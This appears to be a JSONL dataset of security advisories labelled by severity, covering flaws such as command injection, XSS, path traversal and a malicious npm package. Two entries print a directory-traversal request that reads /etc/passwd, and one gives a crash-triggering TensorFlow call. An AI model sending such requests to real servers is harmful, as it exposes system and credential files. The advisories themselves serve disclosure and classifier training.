-{"id": "0f23e236a556d5b2356a", "text": "Integer overflow in pywin32\n\nAn integer overflow exists in pywin32 prior to version b301 when adding an access control entry (ACE) to an access control list (ACL) that would cause the size to be greater than 65535 bytes. An attacker who successfully exploited this vulnerability could crash the vulnerable process.", "text_raw": "Integer overflow in pywin32\n\n[Severity: HIGH]\n\nAn integer overflow exists in pywin32 prior to version b301 when adding an access control entry (ACE) to an access control list (ACL) that would cause the size to be greater than 65535 bytes. An attacker who successfully exploited this vulnerability could crash the vulnerable process.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-09", "split": "train"}
-{"id": "0f93ad3e9e0b02eef90a", "text": "OS Command Injection in ftpd\n\nThe ftpd gem 0.2.1 for Ruby allows remote attackers to execute arbitrary OS commands via shell metacharacters in a LIST or NLST command argument within FTP protocol traffic.", "text_raw": "OS Command Injection in ftpd\n\n[Severity: CRITICAL]\n\nThe ftpd gem 0.2.1 for Ruby allows remote attackers to execute arbitrary OS commands via shell metacharacters in a LIST or NLST command argument within FTP protocol traffic.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "4be6d5b34631d6c184dc", "text": "Microweber v1.0.3 File Upload Filter Bypass Remote PHP Code Execution", "text_raw": "Microweber v1.0.3 File Upload Filter Bypass Remote PHP Code Execution\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2015-08-04", "split": "train"}
-{"id": "9e68820cf3eca4269e34", "text": "Unzip function in ZipUtil.java in Hutool allows remote attackers to overwrite arbitrary files via directory traversal\n\nThe unzip function in ZipUtil.java in Hutool before 4.1.12 allows remote attackers to overwrite arbitrary files via directory traversal sequences in a filename within a ZIP archive.", "text_raw": "Unzip function in ZipUtil.java in Hutool allows remote attackers to overwrite arbitrary files via directory traversal\n\n[Severity: HIGH]\n\nThe unzip function in ZipUtil.java in Hutool before 4.1.12 allows remote attackers to overwrite arbitrary files via directory traversal sequences in a filename within a ZIP archive.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "4176805d3654f0a8c08c", "text": "HTTP header injection in Sonatype Nexus Repository\n\nSonatype Nexus Repository 3.x through 3.33.1-01 is vulnerable to an HTTP header injection. By sending a crafted HTTP request, a remote attacker may disclose sensitive information or request external resources from a vulnerable instance.", "text_raw": "HTTP header injection in Sonatype Nexus Repository\n\n[Severity: HIGH]\n\nSonatype Nexus Repository 3.x through 3.33.1-01 is vulnerable to an HTTP header injection. By sending a crafted HTTP request, a remote attacker may disclose sensitive information or request external resources from a vulnerable instance.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-08", "split": "train"}
-{"id": "736d648e46c6104953e1", "text": "ImpressPages CMS v3.6 Remote Arbitrary File Deletion Vulnerability", "text_raw": "ImpressPages CMS v3.6 Remote Arbitrary File Deletion Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-10-31", "split": "train"}
-{"id": "39ddee09ed0381f31a9e", "text": "Cap-Strap gem for Ruby places credentials on the useradd command line\n\nlib/cap-strap/helpers.rb in the cap-strap gem 0.1.5 for Ruby places credentials on the useradd command line, which allows local users to obtain sensitive information by listing the process.", "text_raw": "Cap-Strap gem for Ruby places credentials on the useradd command line\n\n[Severity: HIGH]\n\nlib/cap-strap/helpers.rb in the cap-strap gem 0.1.5 for Ruby places credentials on the useradd command line, which allows local users to obtain sensitive information by listing the process.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-03-16", "split": "train"}
-{"id": "6945749b2736c9c607c6", "text": "Cross-site Scripting in moodle\n\nA flaw was found in Moodle in versions 3.11 to 3.11.3, 3.10 to 3.10.7, 3.9 to 3.9.10 and earlier unsupported versions. A URL parameter in the filetype site administrator tool required extra sanitizing to prevent a reflected XSS risk.", "text_raw": "Cross-site Scripting in moodle\n\n[Severity: MEDIUM]\n\nA flaw was found in Moodle in versions 3.11 to 3.11.3, 3.10 to 3.10.7, 3.9 to 3.9.10 and earlier unsupported versions. A URL parameter in the filetype site administrator tool required extra sanitizing to prevent a reflected XSS risk.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-23", "split": "train"}
-{"id": "203a1f678745d7b79824", "text": "XSS\n\n**Withdrawn:** Duplicate of GHSA-vcjj-xf2r-mwvc.\n\nKnockout, before 3.5.0-beta, has an XSS injection point in attr name binding for browser IE7 and older.", "text_raw": "XSS\n\n[Severity: MEDIUM]\n\n**Withdrawn:** Duplicate of GHSA-vcjj-xf2r-mwvc.\n\nKnockout, before 3.5.0-beta, has an XSS injection point in attr name binding for browser IE7 and older.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-02-25", "split": "train"}
-{"id": "a2d14c3eb99d4acab75c", "text": "Open redirect in @auth0/nextjs-auth0\n\n### Overview\n\nVersions `<=1.6.1` do not filter out certain `returnTo` parameter values from the login url, which expose the application to an open redirect vulnerability.\n\n### Am I affected?\nYou are affected by this vulnerability if you are using `@auth0/nextjs-auth0` version `<=1.6.1`.\n\n### How to fix that?\nUpgrade to version `>=1.6.2`\n\n### Will this update impact my users?\nThe fix provided in the patch will not affect your users.", "text_raw": "Open redirect in @auth0/nextjs-auth0\n\n[Severity: MEDIUM]\n\n### Overview\n\nVersions `<=1.6.1` do not filter out certain `returnTo` parameter values from the login url, which expose the application to an open redirect vulnerability.\n\n### Am I affected?\nYou are affected by this vulnerability if you are using `@auth0/nextjs-auth0` version `<=1.6.1`.\n\n### How to fix that?\nUpgrade to version `>=1.6.2`\n\n### Will this update impact my users?\nThe fix provided in the patch will not affect your users.\n\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-16", "split": "train"}
-{"id": "6c9195b595309bb81d97", "text": "Withdrawn, accidental duplicate publish.\n\nDirectory traversal vulnerability in Action View in Ruby on Rails before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 allows remote attackers to read arbitrary files by leveraging an application's unrestricted use of the render method and providing a .. (dot dot) in a pathname.", "text_raw": "Moderate severity vulnerability that affects actionview\n\n[Severity: MEDIUM]\n\nWithdrawn, accidental duplicate publish.\n\nDirectory traversal vulnerability in Action View in Ruby on Rails before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 allows remote attackers to read arbitrary files by leveraging an application's unrestricted use of the render method and providing a .. (dot dot) in a pathname.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-09-17", "split": "train"}
-{"id": "222890fc0c408deb8483", "text": "Denial of Service in get-ip-range\n\nThe get-ip-range package before 4.0.0 for Node.js is vulnerable to denial of service (DoS) if the range is untrusted input. An attacker could send a large range (such as 128.0.0.0/1) that causes resource exhaustion. Update get-ip-range dependency to 4.0.0 or above.", "text_raw": "Denial of Service in get-ip-range\n\n[Severity: HIGH]\n\nThe get-ip-range package before 4.0.0 for Node.js is vulnerable to denial of service (DoS) if the range is untrusted input. An attacker could send a large range (such as 128.0.0.0/1) that causes resource exhaustion. Update get-ip-range dependency to 4.0.0 or above.\n\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "30747ac847ba03af90d6", "text": "Overflow in libsecp256k1\n\nAn issue was discovered in the libsecp256k1 crate before 0.5.0 for Rust. It can verify an invalid signature because it allows the R or S parameter to be larger than the curve order, aka an overflow.", "text_raw": "Overflow in libsecp256k1\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the libsecp256k1 crate before 0.5.0 for Rust. It can verify an invalid signature because it allows the R or S parameter to be larger than the curve order, aka an overflow.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "542a854a0d6dac546284", "text": "Malicious Package in 8.9.4\n\nVersions 1.0.2, 1.0.3, 1.0.4 and 1.0.5 of `8.9.4` contain malicious code as a preinstall script. The package reads the system's SSH keys but does not upload it to a remote server.\n\n## Recommendation\n\nRemove the package from your environment. There is no evidence of further compromise at the moment.", "text_raw": "Malicious Package in 8.9.4\n\n[Severity: CRITICAL]\n\nVersions 1.0.2, 1.0.3, 1.0.4 and 1.0.5 of `8.9.4` contain malicious code as a preinstall script. The package reads the system's SSH keys but does not upload it to a remote server.\n\n\n## Recommendation\n\nRemove the package from your environment. There is no evidence of further compromise at the moment.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "462885025f0652c0b790", "text": "Denial of service attack via incorrect parameters in Matrix Synapse\n\n### Impact\n\nA malicious or poorly-implemented homeserver can inject malformed events into a room by specifying a different room id in the path of a `/send_join`, `/send_leave`, `/invite` or `/exchange_third_party_invite` request.\n\nThis can lead to a denial of service in which future events will not be correctly sent to other servers over federation.\n\nThis affects any server which accepts federation requests from untrusted servers.\n\n### Patches\n\nIssue is resolved by https://github.com/matrix-org/synapse/pull/8776.\n\n### Workarounds\n\nHomeserver administrators could limit access to the federation API to trusted servers (for example via `federation_domain_whitelist`).", "text_raw": "Denial of service attack via incorrect parameters in Matrix Synapse\n\n[Severity: HIGH]\n\n### Impact\n\nA malicious or poorly-implemented homeserver can inject malformed events into a room by specifying a different room id in the path of a `/send_join`, `/send_leave`, `/invite` or `/exchange_third_party_invite` request.\n\nThis can lead to a denial of service in which future events will not be correctly sent to other servers over federation.\n\nThis affects any server which accepts federation requests from untrusted servers.\n\n### Patches\n\nIssue is resolved by https://github.com/matrix-org/synapse/pull/8776.\n\n### Workarounds\n\nHomeserver administrators could limit access to the federation API to trusted servers (for example via `federation_domain_whitelist`).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-12-09", "split": "train"}
-{"id": "13713e81e3a39bcf07f1", "text": "Unencrypted passwords\n\nA vulnerability found in Apache NIFI before v0.4.0-RC2. Passwords of InvokeHTTP weren?t encrypted.", "text_raw": "Unencrypted passwords\n\n[Severity: LOW]\n\nA vulnerability found in Apache NIFI before v0.4.0-RC2. Passwords of InvokeHTTP weren?t encrypted.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-02-24", "split": "train"}
-{"id": "e9acde4ca8f422c61d4e", "text": "Renovate vulnerable to leakage of temporary repository tokens into Pull Request comments\n\n### Impact\n\nTemporary repository tokens were leaked into Pull Requests comments in during certain Go Modules update failure scenarios.\n\n### Patches\n\nThe problem has been patched. Self-hosted users should upgrade to v19.38.7 or later.\n\n### Workarounds\n\nDisable Go Modules support.\n\n### References\n\nBlog post: https://renovatebot.com/blog/go-modules-vulnerability-disclosure\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Renovate](http://github.com/renovatebot/renovate)", "text_raw": "Renovate vulnerable to leakage of temporary repository tokens into Pull Request comments\n\n[Severity: MEDIUM]\n\n### Impact\n\nTemporary repository tokens were leaked into Pull Requests comments in during certain Go Modules update failure scenarios.\n\n### Patches\n\nThe problem has been patched. Self-hosted users should upgrade to v19.38.7 or later.\n\n### Workarounds\n\nDisable Go Modules support.\n\n### References\n\nBlog post: https://renovatebot.com/blog/go-modules-vulnerability-disclosure\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Renovate](http://github.com/renovatebot/renovate)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-10-21", "split": "train"}
-{"id": "5b37abf9b1800fd7cf63", "text": "Directory Traversal in ltt.js\n\nAffected versions of `ltt.js` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\nExample request:\n```\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in ltt.js\n\n[Severity: HIGH]\n\nAffected versions of `ltt.js` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\nExample request:\n```\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-05-30", "split": "train"}
-{"id": "c338cc79902dcff9bb35", "text": "Denial of Service (DoS) in restify-paginate\n\nThe restify-paginate package 0.0.5 for Node.js allows remote attackers to cause a Denial-of-Service by omitting the HTTP Host header. A Restify-based web service would crash with an uncaught exception.", "text_raw": "Denial of Service (DoS) in restify-paginate\n\n[Severity: HIGH]\n\nThe restify-paginate package 0.0.5 for Node.js allows remote attackers to cause a Denial-of-Service by omitting the HTTP Host header. A Restify-based web service would crash with an uncaught exception.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-12", "split": "train"}
-{"id": "da59243aac147d193cbe", "text": "Airbrake keys not being filtered\n\nThe Airbrake Ruby notifier 4.2.3 for Airbrake mishandles the blacklist_keys configuration option and consequently may disclose passwords to unauthorized actors. This is fixed in 4.2.4 (also, 4.2.2 and earlier are unaffected).", "text_raw": "Airbrake keys not being filtered\n\n[Severity: CRITICAL]\n\nThe Airbrake Ruby notifier 4.2.3 for Airbrake mishandles the blacklist_keys configuration option and consequently may disclose passwords to unauthorized actors. This is fixed in 4.2.4 (also, 4.2.2 and earlier are unaffected).", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-09-11", "split": "train"}
-{"id": "94987876db01f6078b46", "text": "Command Injection in priest-runner\n\nAll versions of `priest-runner` are vulnerable to Command Injection. The package fails to sanitize input and passes it directly to a `spawn` call, which may allow attackers to execute arbitrary code in the system. The `PriestController.prototype.createChild ` function is vulnerable since the `spawn` parameters come from a POST request body.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Command Injection in priest-runner\n\n[Severity: CRITICAL]\n\nAll versions of `priest-runner` are vulnerable to Command Injection. The package fails to sanitize input and passes it directly to a `spawn` call, which may allow attackers to execute arbitrary code in the system. The `PriestController.prototype.createChild ` function is vulnerable since the `spawn` parameters come from a POST request body.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "c1a49d93ae3631d109b7", "text": "Null pointer dereference in `MatrixDiagPartOp`\n\n### Impact\nIf a user does not provide a valid padding value to `tf.raw_ops.MatrixDiagPartOp`, then the code triggers a null pointer dereference (if input is empty) or produces invalid behavior, ignoring all values after the first:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.MatrixDiagPartV2(\n  input=tf.ones(2,dtype=tf.int32),\n  k=tf.ones(2,dtype=tf.int32),\n  padding_value=[])\n```\n\nAlthough this example is given for `MatrixDiagPartV2`, all versions of the operation are affected.\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/linalg/matrix_diag_op.cc#L89) reads the first value from a tensor buffer without first checking that the tensor has values to read from.\n\n### Patches\nWe have patched the issue in GitHub commit [482da92095c4d48f8784b1f00dda4f81c28d2988](https://github.com/tensorflow/tensorflow/commit/482da92095c4d48f8784b1f00dda4f81c28d2988).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Null pointer dereference in `MatrixDiagPartOp`\n\n[Severity: HIGH]\n\n### Impact\nIf a user does not provide a valid padding value to `tf.raw_ops.MatrixDiagPartOp`, then the code triggers a null pointer dereference (if input is empty) or produces invalid behavior, ignoring all values after the first:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.MatrixDiagPartV2(\n  input=tf.ones(2,dtype=tf.int32),\n  k=tf.ones(2,dtype=tf.int32),\n  padding_value=[])\n```\n\nAlthough this example is given for `MatrixDiagPartV2`, all versions of the operation are affected.\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/linalg/matrix_diag_op.cc#L89) reads the first value from a tensor buffer without first checking that the tensor has values to read from.\n\n### Patches\nWe have patched the issue in GitHub commit [482da92095c4d48f8784b1f00dda4f81c28d2988](https://github.com/tensorflow/tensorflow/commit/482da92095c4d48f8784b1f00dda4f81c28d2988).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "f8a2e44db4b3dee7e0f5", "text": "Leica Geosystems GR10/GR25/GR30/GR50 GNSS 4.30.063 JS/HTML Code Injection", "text_raw": "Leica Geosystems GR10/GR25/GR30/GR50 GNSS 4.30.063 JS/HTML Code Injection\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-01-05", "split": "train"}
-{"id": "32491c085c043d8c4394", "text": "Code injection in FreeIPA\n\nA flaw was found in IPA, all 4.6.x versions before 4.6.7, all 4.7.x versions before 4.7.4 and all 4.8.x versions before 4.8.3, in the way the internal function ber_scanf() was used in some components of the IPA server, which parsed kerberos key data. An unauthenticated attacker who could trigger parsing of the krb principal key could cause the IPA server to crash or in some conditions, cause arbitrary code to be executed on the server hosting the IPA server.", "text_raw": "Code injection in FreeIPA\n\n[Severity: HIGH]\n\nA flaw was found in IPA, all 4.6.x versions before 4.6.7, all 4.7.x versions before 4.7.4 and all 4.8.x versions before 4.8.3, in the way the internal function ber_scanf() was used in some components of the IPA server, which parsed kerberos key data. An unauthenticated attacker who could trigger parsing of the krb principal key could cause the IPA server to crash or in some conditions, cause arbitrary code to be executed on the server hosting the IPA server.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-06", "split": "train"}
-{"id": "8a16aa3772bb629cddf1", "text": "Privilege escalation in mysql-connector-jav", "text_raw": "Privilege escalation in mysql-connector-jav\n\n[Severity: MEDIUM]\n\nVulnerability in the MySQL Connectors component of Oracle MySQL (subcomponent: Connector/J). Supported versions that are affected are 8.0.15 and prior. Difficult to exploit vulnerability allows high privileged attacker with logon to the infrastructure where MySQL Connectors executes to compromise MySQL Connectors. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of MySQL Connectors. CVSS 3.0 Base Score 6.3 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-07-01", "split": "train"}
-{"id": "be1dbb3a21597316ebd0", "text": "pysaml2 Improper Authentication vulnerability\n\npysaml2 version 4.4.0 and older accept any password when run with python optimizations enabled. This allows attackers to log in as any user without knowing their password.", "text_raw": "pysaml2 Improper Authentication vulnerability\n\n[Severity: CRITICAL]\n\npysaml2 version 4.4.0 and older accept any password when run with python optimizations enabled. This allows attackers to log in as any user without knowing their password.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-07-13", "split": "train"}
-{"id": "d576c89c73ebc67572d5", "text": "Regular Expression Denial of Service (ReDoS) in es6-crawler-detect\n\nThis affects the package es6-crawler-detect before 3.1.3. No limitation of user agent string length supplied to regex operators.", "text_raw": "Regular Expression Denial of Service (ReDoS) in es6-crawler-detect\n\n[Severity: MEDIUM]\n\nThis affects the package es6-crawler-detect before 3.1.3. No limitation of user agent string length supplied to regex operators.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "4bfef18233f7ead86dbb", "text": "Out-of-bounds write in ChakraCore\n\nA remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2020-0768, CVE-2020-0823, CVE-2020-0825, CVE-2020-0826, CVE-2020-0828, CVE-2020-0829, CVE-2020-0830, CVE-2020-0831, CVE-2020-0832, CVE-2020-0833, CVE-2020-0848.", "text_raw": "Out-of-bounds write in ChakraCore\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2020-0768, CVE-2020-0823, CVE-2020-0825, CVE-2020-0826, CVE-2020-0828, CVE-2020-0829, CVE-2020-0830, CVE-2020-0831, CVE-2020-0832, CVE-2020-0833, CVE-2020-0848.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-28", "split": "train"}
-{"id": "30fa65d1c5b02ec0ebde", "text": "2FA bypass in Wagtail through new device path\n\n## 2FA bypass through new device path\n\n### Impact\nIf someone gains access to someone's Wagtail login credentials, they can log into the CMS and bypass the 2FA check by changing the URL. They can then add a new device and gain full access to the CMS.\n\n### Patches\nThis problem has been patched in version 1.3.0.\n\n### Workarounds\nThere is no workaround at the moment.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [github.com/labd/wagtail-2fa](https://github.com/labd/wagtail-2fa)\n* Email us at [security@labdigital.nl](mailto:security@labdigital.nl)", "text_raw": "2FA bypass in Wagtail through new device path\n\n[Severity: MEDIUM]\n\n## 2FA bypass through new device path\n\n### Impact\nIf someone gains access to someone's Wagtail login credentials, they can log into the CMS and bypass the 2FA check by changing the URL. They can then add a new device and gain full access to the CMS.\n\n### Patches\nThis problem has been patched in version 1.3.0.\n\n### Workarounds\nThere is no workaround at the moment.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [github.com/labd/wagtail-2fa](https://github.com/labd/wagtail-2fa)\n* Email us at [security@labdigital.nl](mailto:security@labdigital.nl)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-11-29", "split": "train"}
-{"id": "c59bce3e15debf7a1c8b", "text": "Data race in va-ts\n\nIn the affected versions of this crate, Demuxer<T> unconditionally implemented Send with no trait bounds on T. This allows sending a non-Send type T across thread boundaries, which can cause undefined behavior like unlocking a mutex from a thread that didn't lock the mutex, or memory corruption from data race. The flaw was corrected in commit `0562cbf` by adding a T: Send bound to the Send impl for Demuxer<T>.", "text_raw": "Data race in va-ts\n\n[Severity: MEDIUM]\n\nIn the affected versions of this crate, Demuxer<T> unconditionally implemented Send with no trait bounds on T. This allows sending a non-Send type T across thread boundaries, which can cause undefined behavior like unlocking a mutex from a thread that didn't lock the mutex, or memory corruption from data race. The flaw was corrected in commit `0562cbf` by adding a T: Send bound to the Send impl for Demuxer<T>.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "e5fc048e03fdfb663039", "text": "Insecure temporary file in Netflix OSS Hollow\n\n> ID: NFLX-2021-001\n> Title: Local information disclosure in Hollow\n> Release Date: 2021-03-23\n> Credit: Security Researcher @JLLeitschuh\n\n# Overview\n\nSecurity researcher @JLLeitschuh reported that Netflix Hollow (a Netflix OSS project available here: https://github.com/Netflix/hollow) writes to a local temporary directory before validating the permissions on it.\n\n# Impact\n\nAn attacker with the ability to create directories and set permissions on the local filesystem could pre-create this directory and read or modify anything written there by the Hollow process.\n\n# Description\n\nSince the `Files.exists(parent)` is run before creating the directories, an attacker can pre-create these directories with wide permissions. Additionally, since an insecure source of randomness is used, the file names to be created can be deterministically calculated.\n\n# Workarounds and Fixes\n\nAvoid running Hollow in configurations that share a filesystem with less-trusted processes. May be fixed in a future release.", "text_raw": "Insecure temporary file in Netflix OSS Hollow\n\n[Severity: MEDIUM]\n\n> ID: NFLX-2021-001\n> Title: Local information disclosure in Hollow\n> Release Date: 2021-03-23\n> Credit: Security Researcher @JLLeitschuh\n\n# Overview\n\nSecurity researcher @JLLeitschuh reported that Netflix Hollow (a Netflix OSS project available here: https://github.com/Netflix/hollow) writes to a local temporary directory before validating the permissions on it.\n\n# Impact\n\nAn attacker with the ability to create directories and set permissions on the local filesystem could pre-create this directory and read or modify anything written there by the Hollow process.\n\n# Description\n\nSince the `Files.exists(parent)` is run before creating the directories, an attacker can pre-create these directories with wide permissions. Additionally, since an insecure source of randomness is used, the file names to be created can be deterministically calculated.\n\n# Workarounds and Fixes\n\nAvoid running Hollow in configurations that share a filesystem with less-trusted processes. May be fixed in a future release.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "8ab8187e043a8ce7b981", "text": "Insecure template handling in express-hbs\n\nexpress-hbs is an Express handlebars template engine. express-hbs mixes pure template data with engine configuration options through the Express render API. More specifically, the layout parameter may trigger file disclosure vulnerabilities in downstream applications. This potential vulnerability is somewhat restricted in that only files with existing extentions (i.e. file.extension) can be included, files that lack an extension will have .hbs appended to them. For complete details refer to the referenced GHSL-2021-019 report. Notes in documentation have been added to help users of express-hbs avoid this potential information exposure vulnerability.", "text_raw": "Insecure template handling in express-hbs\n\n[Severity: MEDIUM]\n\nexpress-hbs is an Express handlebars template engine. express-hbs mixes pure template data with engine configuration options through the Express render API. More specifically, the layout parameter may trigger file disclosure vulnerabilities in downstream applications. This potential vulnerability is somewhat restricted in that only files with existing extentions (i.e. file.extension) can be included, files that lack an extension will have .hbs appended to them. For complete details refer to the referenced GHSL-2021-019 report. Notes in documentation have been added to help users of express-hbs avoid this potential information exposure vulnerability.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-17", "split": "train"}
-{"id": "a85d01311132d69ca429", "text": "SQL injection in Centreon\n\nSQL injection vulnerabilities in Centreon through 19.04 allow attacks via the svc_id parameter in include/monitoring/status/Services/xml/makeXMLForOneService.php.", "text_raw": "SQL injection in Centreon\n\n[Severity: CRITICAL]\n\nSQL injection vulnerabilities in Centreon through 19.04 allow attacks via the svc_id parameter in include/monitoring/status/Services/xml/makeXMLForOneService.php.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-02-11", "split": "train"}
-{"id": "776bfae031abcfa0599d", "text": "Path traversal in pimcore/pimcore\n\nThis affects the package pimcore/pimcore before 6.8.8. A Local FIle Inclusion vulnerability exists in the downloadCsvAction function of the CustomReportController class (bundles/AdminBundle/Controller/Reports/CustomReportController.php). An authenticated user can reach this function with a GET request at the following endpoint: /admin/reports/custom-report/download-csv?exportFile=&91;filename]. Since exportFile variable is not sanitized, an attacker can exploit a local file inclusion vulnerability.", "text_raw": "Path traversal in pimcore/pimcore\n\n[Severity: HIGH]\n\nThis affects the package pimcore/pimcore before 6.8.8. A Local FIle Inclusion vulnerability exists in the downloadCsvAction function of the CustomReportController class (bundles/AdminBundle/Controller/Reports/CustomReportController.php). An authenticated user can reach this function with a GET request at the following endpoint: /admin/reports/custom-report/download-csv?exportFile=&91;filename]. Since exportFile variable is not sanitized, an attacker can exploit a local file inclusion vulnerability.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-02-25", "split": "train"}
-{"id": "86ba747510c975278564", "text": "Improper Encoding or Escaping of Output in Asset Metadata Component\n\nPimcore is an open source data & experience management platform. Prior to version 10.1.2, an authenticated user could add XSS code as a value of custom metadata on assets. There is a patch for this issue in Pimcore version 10.1.2. As a workaround, users may apply the patch manually.", "text_raw": "Improper Encoding or Escaping of Output in Asset Metadata Component\n\n[Severity: HIGH]\n\nPimcore is an open source data & experience management platform. Prior to version 10.1.2, an authenticated user could add XSS code as a value of custom metadata on assets. There is a patch for this issue in Pimcore version 10.1.2. As a workaround, users may apply the patch manually.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "155f628dfc7ac05b3916", "text": "Directory Traversal in serverwzl\n\nAffected versions of `serverwzl` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in serverwzl\n\n[Severity: HIGH]\n\nAffected versions of `serverwzl` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
